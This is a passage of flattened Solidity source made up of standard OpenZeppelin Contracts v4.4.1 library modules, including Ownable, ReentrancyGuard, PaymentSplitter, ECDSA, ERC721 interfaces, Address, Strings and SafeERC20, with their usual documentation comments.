) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (finance/PaymentSplitter.sol) pragma solidity ^0.8.0; import "../token/ERC20/utils/SafeERC20.sol"; import "../utils/Address.sol"; import "../utils/Context.sol"; /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. * * NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and * tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you * to run tests before sending real value to this contract. */ contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; mapping(IERC20 => uint256) private _erc20TotalReleased; mapping(IERC20 => mapping(address => uint256)) private _erc20Released; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20 * contract. */ function totalReleased(IERC20 token) public view returns (uint256) { return _erc20TotalReleased[token]; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an * IERC20 contract. */ function released(IERC20 token, address account) public view returns (uint256) { return _erc20Released[token][account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + totalReleased(); uint256 payment = _pendingPayment(account, totalReceived, released(account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] += payment; _totalReleased += payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their * percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20 * contract. */ function release(IERC20 token, address account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token); uint256 payment = _pendingPayment(account, totalReceived, released(token, account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _erc20Released[token][account] += payment; _erc20TotalReleased[token] += payment; SafeERC20.safeTransfer(token, account, payment); emit ERC20PaymentReleased(token, account, payment); } /** * @dev internal logic for computing the pending payment of an `account` given the token historical balances and * already released amounts. */ function _pendingPayment( address account, uint256 totalReceived, uint256 alreadyReleased ) private view returns (uint256) { return (totalReceived * _shares[account]) / _totalShares - alreadyReleased; } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if 